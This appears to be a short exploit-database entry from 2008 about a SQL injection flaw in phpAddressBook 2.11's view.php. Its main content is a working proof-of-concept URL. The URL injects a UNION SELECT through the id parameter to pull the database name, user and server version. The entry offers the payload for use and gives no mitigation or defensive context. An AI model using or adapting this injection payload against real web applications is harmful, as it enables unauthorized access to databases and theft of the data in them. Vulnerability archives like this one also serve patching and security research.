phpAddressBook 2.11 (view.php id) SQL Injection Vulnerability

2008-04-11

ID: 2869
CVE: None
Source: https://0day.today/exploits/2869
Download vulnerable application: None
`[~] phpAddressBook Remote Sql Inj. Vuln. [~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip [~] Version : All My Version [~] PoC: http://www.xxx.org/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/*`